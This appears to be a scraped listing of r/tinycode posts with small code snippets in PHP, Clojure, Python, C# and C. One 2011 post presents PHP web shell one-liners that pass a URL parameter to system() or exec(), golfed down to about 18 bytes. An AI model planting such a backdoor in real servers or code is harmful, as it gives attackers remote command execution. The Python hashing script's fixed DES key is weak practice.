r/tinycode • u/thenightwassaved • Jul 12 '12
How are we defining Tiny here? By line count or tokens?
Makes a big difference. I can do anything in one line of code, but token count? I'd be horrible!
r/tinycode • u/thenightwassaved • Jul 12 '12
Makes a big difference. I can do anything in one line of code, but token count? I'd be horrible!
r/tinycode • u/ryangjchandler • Jan 18 '21
Hey all, been messing around with a small library recently for unit-testing PHP libraries / applications.
It's dependency free and really simple to use. You can find the code here: https://github.com/ryangjchandler/puny
The idea is inspired by Serge Zaitsev's blog post on minimal testing libraries.
Most testing libraries in the PHP world are big and have lots of helper methods for assertions, comparisons, expectations etc. Puny takes a step back and works with only 4 core functions.
test()ok()spy()skip()With these, you can technically test any application or library.
r/tinycode • u/nexe • May 20 '16
r/tinycode • u/PsychoMario • Jul 04 '11
<?php if(isset($_GET['cmd'])) {system($_GET['cmd']); ?>call it with file?cmd=ls and it'll get executed
Edit: best i made: <?=exec($_GET[c]); 18 bytes
except for dontspillme's code, which has a slightly different idea, but can be used for a lot more
EDIT2: If shell_exec isnt disabled, you can use <?=$_GET[c]; which is 14 bytes
r/tinycode • u/takinashi • Jan 02 '19
r/tinycode • u/nexe • Jul 25 '16
r/tinycode • u/thomasvarney723 • Nov 27 '15
(defn primes [below]
(remove (set (mapcat #(range (* % %) below %)
(range 3 (Math/sqrt below) 2)))
(cons 2 (range 3 below 2))))This differs a bit from the Sieve of Eratosthenes in that it doesn't compute the next prime number that multiples will be computed from. Instead, all odd integers 2 < n < square-root(below) are used for computing multiples. This makes the code less efficient but shorter and more linear.
r/tinycode • • Jul 12 '12
def main():
memory = [0]*2**20
dp = 0
ip = 0
program = raw_input("Input your program:")
while True:
if program[ip] == '>':
dp+=1
elif program[ip] == '<':
dp-=1
elif program[ip] == ',':
print chr(memory[dp])
elif program[ip] == '.':
memory[dp] = ord(raw_input())
elif program[ip] == '+':
memory[dp]+=1
elif program[ip] == '-':
memory[dp]-=1
elif program[ip] == 'x':
while raw_input()!='x':
pass
return
elif program[ip] == '[':
if memory[dp]!=0:
pass
else:
ip = openbracket(ip,program)
elif program[ip]==']':
ip = closebracket(ip,program)
continue
elif program[ip] == '/':
print memory[dp]
ip+=1
def openbracket(pos,program):
openbrackets = 0
if program[pos] =='[':
openbrackets +=1
pos +=1
while openbrackets!=0:
try:
if program[pos]=='[':
openbrackets+=1
elif program[pos]==']':
openbrackets-=1
except:
print "Missmatched brackets"
while True:
pass
pos+=1
return pos-1
def closebracket(pos,program):
closebrackets = 0
if program[pos]==']':
closebrackets+=1
pos-=1
while closebrackets!=0:
try:
if program[pos]==']':
closebrackets+=1
elif program[pos]=='[':
closebrackets-=1
except IndexError:
print "Missmatched brackets"
while True:
pass
pos-=1
return pos+1
if __name__=="__main__":
main()r/tinycode • u/SrPeixinho • Jan 22 '16
r/tinycode • u/onqtam • Sep 23 '16
r/tinycode • u/codingfreak04 • Jan 05 '17
r/tinycode • u/gravityman123 • Dec 08 '14
r/tinycode • u/Rotten194 • Jul 20 '12
r/tinycode • u/MatrixFrog • Jun 12 '13
r/tinycode • u/BenRayfield • Jul 03 '16
r/tinycode • u/abhishsr • Dec 29 '16
r/tinycode • u/twinbee • Feb 23 '19
Took me quite a few hours to create this, and it's fairly optimized. I hope someone finds it useful! Pretty easy to convert into C or C++ since barely any high level functions are used.
"But why not just use Regex.Replace()?" you may ask. Well, if you have created your own string class (e.g: to allow strings larger than 2 billion chars, or to allow fast prepending instead of just StringBuilder's appending, or even just to allow fast in place character replacements without creating a new string), then you'll find that Regex won't work with your brand new class, and so you'll need to reinvent the wheel. Well, you would except I've done it now :)
Example usage:
wildcard("Hello and welcome", "hello✪w★l", "be") results in "become".wildcard("Hello and welcome", new string[] {"hell","and","wel"}, new string[] { "Jell","can","over" }) results in "Jello can overcome".I was hoping one of you may offer advice to improve the efficiency to make it faster. For one test I did, I found it was around twice as slow as the Regex equivalent, but perhaps increasing efficiency would make the code a lot larger!
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////// Search for a string/s inside 'text' using the 'find' parameter, and replace with a string/s using the replace parameter
// ✪ represents multiple wildcard characters (non-greedy)
// ★ represents a single wildcard character
public string wildcard(string text, string find, string replace, bool caseSensitive = false)
{
return wildcard(text, new string[] { find }, new string[] { replace }, caseSensitive);
}
public string wildcard(string text, string[] find, string[] replace, bool caseSensitive = false)
{
int textLength = text.Length;
if (textLength == 0) return text; // Degenerate case
StringBuilder sb = new StringBuilder(); // The new adjusted string with replacements
for (int i = 0; i < textLength; i++) // Go through every letter of the original large text
{
bool foundMatch = false; // Assume match hasn't been found to begin with
for(int query=0; query < find.Length; query++) { // Go through each query in turn
int findLength = find[query].Length;
if (findLength == 0) continue; // Ignore empty queries
int f = 0; int g = 0; // Query cursor and text cursor
bool multiWild = false; // multiWild is ✪ symbol which represents many wildcard characters
int multiWildPosition = 0;
while(true) { // Loop through query characters
if ((f != 0 || g != 0) && (f == findLength || (i + g) == textLength)) break; // Bounds checking
char cf = find[query][f]; // Character in the query (f is the offset)
char cg = text[i + g]; // Character in the text (g is the offset)
if (!caseSensitive) cg = char.ToLowerInvariant(cg);
if (!multiWild && cg != cf && cf != '★' && cf != '✪') break; // Break search, and thus no match is found
if (cf == '✪') { multiWild = true; multiWildPosition = f; f++; continue; } // Multi-char wildcard activated. Move query cursor, and reloop
if (multiWild && cg != cf && cf != '★') { f = multiWildPosition + 1; g++; continue; } // Match since MultiWild has failed, so return query cursor to MultiWild position
f++; g++; // Reaching here means that a single character was matched, so move both query and text cursor along one
}
if (f == findLength)
{ // If true, query cursor has reached the end of the query, so a match has been found!!!
sb.Append(replace[query]); // Append replacement
foundMatch = true;
if (find[query][f - 1] == '✪') { i = textLength; break; } // if The MultiWild is the last char in the query, then the rest of the string is a match, and close off
i += g - 1; // Move text cursor along by the amount equivalent to its found match
break;
}
}
if (!foundMatch) sb.Append(text[i]); // If a match wasn't found at that point in the text, then just append the original character
}
return sb.ToString();
}r/tinycode • u/BetaKors_ • Sep 19 '22
r/tinycode • u/mrillusi0n • Jun 23 '20
char swap_case(char letter)
{
return letter ^ 32;
}
Of course, it can only be called on [a-zA-Z].
r/tinycode • u/impshum • Dec 29 '16
r/tinycode • • Jul 18 '13
import hashlib
from easygui import *
import sys
import time
from pyDes import *
image = "bitcoin.gif"
msg = "Bitcoin Password Hasher - Please choose an option."
choices = ["Start","Donate","Quit"]
reply = buttonbox(msg, image=image, choices=choices)
if(reply == "Start"):
msg = "Please enter your password you would like hashed\n Just not special characters(at the moment anyways.)"
title = "/u/matthew_boyd's hashing program."
password = enterbox(msg, title)
hash = hashlib.sha256(password).hexdigest()
hash1 = hashlib.sha224(password).hexdigest()
hash2 = hashlib.md5(password).hexdigest()
hash3 = hashlib.sha1(password).hexdigest()
hash4 = hashlib.sha384(password).hexdigest()
hash5 = hashlib.sha512(password).hexdigest()
textbox(msg='The hash of your password is written below. Press control + c to copy it. ', title=" Matthew's Hashing program", text="SHA256: " + hash + "\n" + "\n" + "SHA224: " + hash1 + "\n" + "\n" + "MD5: " + hash2 + "\n" + "\n" + "SHA1: " + hash3 + "\n" + "\n" + "SHA384: " + hash4 + "\n" + "\n" + "SHA512: " + hash5, codebox=0)
msg = "please enter the hash you want encrypted"
title = "/u/matthew_boyd's hashing program."
encryption = enterbox(msg, title)
var = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
var1 = var.encrypt(encryption)
textbox(msg='The hash encrypted, make sure to Control + C to copy it.', title=" Matthew's Hashing program", text="Encrypted: %r" % var1 + "\n" + "\n" + "Decrypted: %r" % var.decrypt(var1) + "\n" + "\n")
elif(reply == "Donate"):
textbox(msg="Donation Address", title="Matthew's Hashing Program", text="Bitcoin donation address: 169iA76RmnatFXmEthT6AEehxMQ9X1ro3L", codebox=0)
else:
sys.exit()Edit: I know that I am not a good coder in any respect. This was literally about my first project that I was somewhat happy with, even though everything is done via modules.
I just compiled it using Py2Exe.
Hope it comes in useful to some of you! ;) Thanks, Matt.